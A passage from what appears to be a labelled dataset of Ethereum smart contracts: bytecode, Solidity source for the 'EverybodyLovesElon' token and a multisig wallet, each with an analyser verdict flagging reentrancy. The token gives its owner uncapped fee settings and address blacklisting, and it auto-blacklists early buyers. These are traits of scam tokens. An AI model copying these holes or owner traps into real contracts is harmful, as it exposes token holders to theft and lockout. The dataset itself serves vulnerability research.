7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008414156129dc57600091506129fb565b82840290508284828115156129ed57fe5b041415156129f757fe5b8091505b5092915050565b6000808284811515612a1057fe5b0490508091505092915050565b6000828211151515612a2b57fe5b818303905092915050565b6000808284019050838110151515612a4a57fe5b8091505092915050565b6040805190810160405280600061ffff1681526020016000815250905600a165627a7a7230582025d64928a9e84a37b1a36928a032255f2e84bdb7f10120a82bf30e4f28ae21850029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
543
0x05d949254e9f7b1f35b3e75355b1ad9e5efc636b
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ /* Nobody loves Elon more than the crypto community */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EverybodyLovesElon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "EverybodyLovesElon";// string private constant _symbol = "EVE";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 8;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 8;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xb2D9903D4c8C571A95B9CB0Fb31ABf3b0eFe024e);// address payable private _marketingAddress = payable(0xb2D9903D4c8C571A95B9CB0Fb31ABf3b0eFe024e);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 20000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054f578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a9059cbb146104ca578063bfd79284146104ea578063c3c8cd801461051a578063c492f0461461052f57600080fd5b80638f9a55c0116100d15780638f9a55c01461044857806395d89b411461045e57806398a5c3151461048a578063a2a957bb146104aa57600080fd5b80637d1db4a5146103f45780638da5cb5b1461040a5780638f70ccf71461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b69565b6105eb565b005b34801561020a57600080fd5b5060408051808201909152601281527122bb32b93cb137b23ca637bb32b9a2b637b760711b60208201525b6040516102429190611c9b565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611ab9565b61068a565b6040519015158152602001610242565b34801561028757600080fd5b5060155461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50670de0b6b3a76400005b604051908152602001610242565b3480156102e457600080fd5b5061026b6102f3366004611a78565b6106a1565b34801561030457600080fd5b506102ca60195481565b34801561031a57600080fd5b5060405160098152602001610242565b34801561033657600080fd5b5060165461029b906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611a05565b61070a565b34801561037657600080fd5b506101fc610385366004611c35565b610755565b34801561039657600080fd5b506101fc61079d565b3480156103ab57600080fd5b506102ca6103ba366004611a05565b6107e8565b3480156103cb57600080fd5b506101fc61080a565b3480156103e057600080fd5b506101fc6103ef366004611c50565b61087e565b34801561040057600080fd5b506102ca60175481565b34801561041657600080fd5b506000546001600160a01b031661029b565b34801561043457600080fd5b506101fc610443366004611c35565b6108ad565b34801561045457600080fd5b506102ca60185481565b34801561046a57600080fd5b5060408051808201909152600381526245564560e81b6020820152610235565b34801561049657600080fd5b506101fc6104a5366004611c50565b6108f9565b3480156104b657600080fd5b506101fc6104c5366004611c69565b610928565b3480156104d657600080fd5b5061026b6104e5366004611ab9565b610966565b3480156104f657600080fd5b5061026b610505366004611a05565b60116020526000908152604090205460ff1681565b34801561052657600080fd5b506101fc610973565b34801561053b57600080fd5b506101fc61054a366004611ae5565b6109c7565b34801561055b57600080fd5b506102ca60085481565b34801561057157600080fd5b506102ca610580366004611a3f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506101fc6105c6366004611c50565b610a68565b3480156105d757600080fd5b506101fc6105e6366004611a05565b610a97565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611cf0565b60405180910390fd5b60005b81518110156106865760016011600084848151811061064257610642611e37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611e06565b915050610621565b5050565b6000610697338484610b81565b5060015b92915050565b60006106ae848484610ca5565b61070084336106fb85604051806060016040528060288152602001611e79602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611263565b610b81565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611cf0565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611cf0565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d257506014546001600160a01b0316336001600160a01b0316145b6107db57600080fd5b476107e58161129d565b50565b6001600160a01b03811660009081526002602052604081205461069b90611322565b6000546001600160a01b031633146108345760405162461bcd60e51b815260040161061590611cf0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161061590611cf0565b601755565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260040161061590611cf0565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109235760405162461bcd60e51b815260040161061590611cf0565b601955565b6000546001600160a01b031633146109525760405162461bcd60e51b815260040161061590611cf0565b600993909355600b91909155600a55600c55565b6000610697338484610ca5565b6013546001600160a01b0316336001600160a01b031614806109a857506014546001600160a01b0316336001600160a01b0316145b6109b157600080fd5b60006109bc306107e8565b90506107e5816113a6565b6000546001600160a01b031633146109f15760405162461bcd60e51b815260040161061590611cf0565b60005b82811015610a62578160056000868685818110610a1357610a13611e37565b9050602002016020810190610a289190611a05565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5a81611e06565b9150506109f4565b50505050565b6000546001600160a01b03163314610a925760405162461bcd60e51b815260040161061590611cf0565b601855565b6000546001600160a01b03163314610ac15760405162461bcd60e51b815260040161061590611cf0565b6001600160a01b038116610b265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610c445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610d6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610dcd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610df957506000546001600160a01b03838116911614155b1561115c57601654600160a01b900460ff16610e92576000546001600160a01b03848116911614610e925760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b601754811115610ee45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2657506001600160a01b03821660009081526011602052604090205460ff16155b610f7e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b600854610f8c906002611d96565b4311158015610fa857506016546001600160a01b038481169116145b8015610fc257506015546001600160a01b03838116911614155b8015610fd757506001600160a01b0382163014155b15611000576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110855760185481611022846107e8565b61102c9190611d96565b106110855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b6000611090306107e8565b6019546017549192508210159082106110a95760175491505b8080156110c05750601654600160a81b900460ff16155b80156110da57506016546001600160a01b03868116911614155b80156110ef5750601654600160b01b900460ff165b801561111457506001600160a01b03851660009081526005602052604090205460ff16155b801561113957506001600160a01b03841660009081526005602052604090205460ff16155b1561115957611147826113a6565b478015611157576111574761129d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119e57506001600160a01b03831660009081526005602052604090205460ff165b806111d057506016546001600160a01b038581169116148015906111d057506016546001600160a01b03848116911614155b156111dd57506000611257565b6016546001600160a01b03858116911614801561120857506015546001600160a01b03848116911614155b1561121a57600954600d55600a54600e555b6016546001600160a01b03848116911614801561124557506015546001600160a01b03858116911614155b1561125757600b54600d55600c54600e555b610a628484848461152f565b600081848411156112875760405162461bcd60e51b81526004016106159190611c9b565b5060006112948486611def565b95945050505050565b6013546001600160a01b03166108fc6112b783600261155d565b6040518115909202916000818181858888f193505050501580156112df573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112fa83600261155d565b6040518115909202916000818181858888f19350505050158015610686573d6000803e3d6000fd5b60006006548211156113895760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b600061139361159f565b905061139f838261155d565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ee576113ee611e37565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144257600080fd5b505afa158015611456573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147a9190611a22565b8160018151811061148d5761148d611e37565b6001600160a01b0392831660209182029290920101526015546114b39130911684610b81565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ec908590600090869030904290600401611d25565b600060405180830381600087803b15801561150657600080fd5b505af115801561151a573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153c5761153c6115c2565b6115478484846115f0565b80610a6257610a62600f54600d55601054600e55565b600061139f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e7565b60008060006115ac611715565b90925090506115bb828261155d565b9250505090565b600d541580156115d25750600e54155b156115d957565b600d8054600f55600e805460105560009182905555565b60008060008060008061160287611755565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163490876117b2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166390866117f4565b6001600160a01b03891660009081526002602052604090205561168581611853565b61168f848361189d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d491815260200190565b60405180910390a3505050505050505050565b600081836117085760405162461bcd60e51b81526004016106159190611c9b565b5060006112948486611dae565b6006546000908190670de0b6b3a7640000611730828261155d565b82101561174c57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117728a600d54600e546118c1565b925092509250600061178261159f565b905060008060006117958e878787611916565b919e509c509a509598509396509194505050505091939550919395565b600061139f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611263565b6000806118018385611d96565b90508381101561139f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b600061185d61159f565b9050600061186b8383611966565b3060009081526002602052604090205490915061188890826117f4565b30600090815260026020526040902055505050565b6006546118aa90836117b2565b6006556007546118ba90826117f4565b6007555050565b60008080806118db60646118d58989611966565b9061155d565b905060006118ee60646118d58a89611966565b90506000611906826119008b866117b2565b906117b2565b9992985090965090945050505050565b60008080806119258886611966565b905060006119338887611966565b905060006119418888611966565b905060006119538261190086866117b2565b939b939a50919850919650505050505050565b6000826119755750600061069b565b60006119818385611dd0565b90508261198e8583611dae565b1461139f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b80356119f081611e63565b919050565b803580151581146119f057600080fd5b600060208284031215611a1757600080fd5b813561139f81611e63565b600060208284031215611a3457600080fd5b815161139f81611e63565b60008060408385031215611a5257600080fd5b8235611a5d81611e63565b91506020830135611a6d81611e63565b809150509250929050565b600080600060608486031215611a8d57600080fd5b8335611a9881611e63565b92506020840135611aa881611e63565b929592945050506040919091013590565b60008060408385031215611acc57600080fd5b8235611ad781611e63565b946020939093013593505050565b600080600060408486031215611afa57600080fd5b833567ffffffffffffffff80821115611b1257600080fd5b818601915086601f830112611b2657600080fd5b813581811115611b3557600080fd5b8760208260051b8501011115611b4a57600080fd5b602092830195509350611b6091860190506119f5565b90509250925092565b60006020808385031215611b7c57600080fd5b823567ffffffffffffffff80821115611b9457600080fd5b818501915085601f830112611ba857600080fd5b813581811115611bba57611bba611e4d565b8060051b604051601f19603f83011681018181108582111715611bdf57611bdf611e4d565b604052828152858101935084860182860187018a1015611bfe57600080fd5b600095505b83861015611c2857611c14816119e5565b855260019590950194938601938601611c03565b5098975050505050505050565b600060208284031215611c4757600080fd5b61139f826119f5565b600060208284031215611c6257600080fd5b5035919050565b60008060008060808587031215611c7f57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc857858101830151858201604001528201611cac565b81811115611cda576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d755784516001600160a01b031683529383019391830191600101611d50565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da957611da9611e21565b500190565b600082611dcb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dea57611dea611e21565b500290565b600082821015611e0157611e01611e21565b500390565b6000600019821415611e1a57611e1a611e21565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209806366e6b2c6a73548e84a85ac74d3f10a0d61c3cbcd866a8b92d93773e01eb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
544
0x5750ee609B562bFFE1EB5785B3C33bE0BFbFF218
// SPDX-License-Identifier: MIT pragma solidity ^0.4.15; /* MultiSigWallet that can receive NFT */ contract MultiSigWalletWithNFT721Support { /* * Events */ event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); /* * Constants */ uint256 public constant MAX_OWNER_COUNT = 50; /* * Storage */ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint256 transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint256 transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint256 transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint256 transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } function onERC721Received( address, address, uint256, bytes memory ) public returns (bytes4) { bytes4 b = hex"150b7a02"; return b; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWalletWithNFT721Support(address[] _owners, uint256 _required) public validRequirement(_owners.length, _required) { for (uint256 i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } 